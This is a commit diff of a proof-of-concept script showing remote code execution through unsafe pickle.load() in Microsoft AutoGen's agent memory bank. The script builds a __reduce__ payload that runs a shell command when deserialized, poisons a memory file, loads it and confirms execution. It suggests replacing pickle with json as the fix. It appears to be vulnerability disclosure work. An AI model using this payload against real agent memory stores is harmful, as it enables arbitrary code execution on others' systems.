vellaveto commited on
Commit
3c88c0b
·
verified ·
1 Parent(s): 6d3049d

Fix PoC: actually execute and verify RCE

Browse files
Files changed (1) hide show
  1. poc.py +60 -14
poc.py CHANGED
@@ -1,23 +1,69 @@
1
- """Microsoft AutoGen — pickle.load on agent memory bank PoC
 
2
 
3
- The MemoryBank class loads agent memory from pickle files.
4
- Replacing the memory file leads to RCE on agent restart.
5
 
6
- Affected: python/packages/autogen-ext/src/autogen_ext/experimental/task_centric_memory/_memory_bank.py:82
7
  Also: _string_similarity_map.py:48
 
 
 
 
 
 
 
8
  """
9
  import pickle
10
  import os
 
 
 
 
 
11
 
12
  class AgentTakeover:
 
13
  def __reduce__(self):
14
- return (os.system, ('id > /tmp/autogen_pwned',))
15
-
16
- payload = pickle.dumps(AgentTakeover())
17
- print(f"Malicious pickle payload: {len(payload)} bytes")
18
- print()
19
- print("Attack: replace the agent memory pickle file at self.path_to_dict")
20
- print("When AutoGen agent initializes MemoryBank, pickle.load() triggers RCE")
21
- print()
22
- print("AI Impact: AutoGen is Microsoft's multi-agent framework.")
23
- print("Compromising memory enables agent behavior manipulation.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Microsoft AutoGen — RCE via pickle.load() on Agent Memory Bank
3
 
4
+ Affected: autogen_ext/experimental/task_centric_memory/_memory_bank.py:82
5
+ self.uid_memo_dict = pickle.load(f)
6
 
 
7
  Also: _string_similarity_map.py:48
8
+ self.uid_text_dict = pickle.load(f)
9
+
10
+ Attack: Replace the agent memory pickle file. When MemoryBank initializes,
11
+ pickle.load() deserializes the malicious payload → arbitrary code execution.
12
+
13
+ Vector: Shared storage in multi-agent deployments, poisoned memory snapshots,
14
+ or any prior file-write vulnerability chained with this.
15
  """
16
  import pickle
17
  import os
18
+ import sys
19
+ import tempfile
20
+ import shutil
21
+
22
+ POC_FILE = "/tmp/autogen_mfv_poc"
23
 
24
  class AgentTakeover:
25
+ """Pickle payload — executes during deserialization via __reduce__"""
26
  def __reduce__(self):
27
+ return (os.system, (f'id > {POC_FILE}',))
28
+
29
+ def main():
30
+ print("=" * 60)
31
+ print("AutoGen MemoryBank pickle.load() RCE PoC")
32
+ print("=" * 60)
33
+
34
+ if os.path.exists(POC_FILE):
35
+ os.remove(POC_FILE)
36
+
37
+ # Create temp memory directory
38
+ tmpdir = tempfile.mkdtemp(prefix="autogen_memory_")
39
+ memory_file = os.path.join(tmpdir, "uid_memo_dict.pkl")
40
+
41
+ # Step 1: Write legitimate memory, then poison it
42
+ with open(memory_file, "wb") as f:
43
+ pickle.dump({"key1": "normal agent memory"}, f)
44
+ print(f"[+] Created legitimate memory: {memory_file}")
45
+
46
+ with open(memory_file, "wb") as f:
47
+ pickle.dump({"poisoned": AgentTakeover()}, f)
48
+ print(f"[+] Replaced with malicious pickle ({os.path.getsize(memory_file)} bytes)")
49
+
50
+ # Step 2: Load via pickle.load — same as _memory_bank.py:82
51
+ print(f"\n[*] pickle.load(f) — reproducing _memory_bank.py:82")
52
+ with open(memory_file, "rb") as f:
53
+ result = pickle.load(f)
54
+
55
+ # Step 3: Verify RCE
56
+ if os.path.exists(POC_FILE):
57
+ with open(POC_FILE) as f:
58
+ print(f"\n[!] RCE CONFIRMED: {f.read().strip()}")
59
+ os.remove(POC_FILE)
60
+ else:
61
+ print("\n[-] RCE not triggered")
62
+ return 1
63
+
64
+ shutil.rmtree(tmpdir)
65
+ print(f"\n[+] Done. Fix: replace pickle with json in _memory_bank.py")
66
+ return 0
67
+
68
+ if __name__ == "__main__":
69
+ sys.exit(main())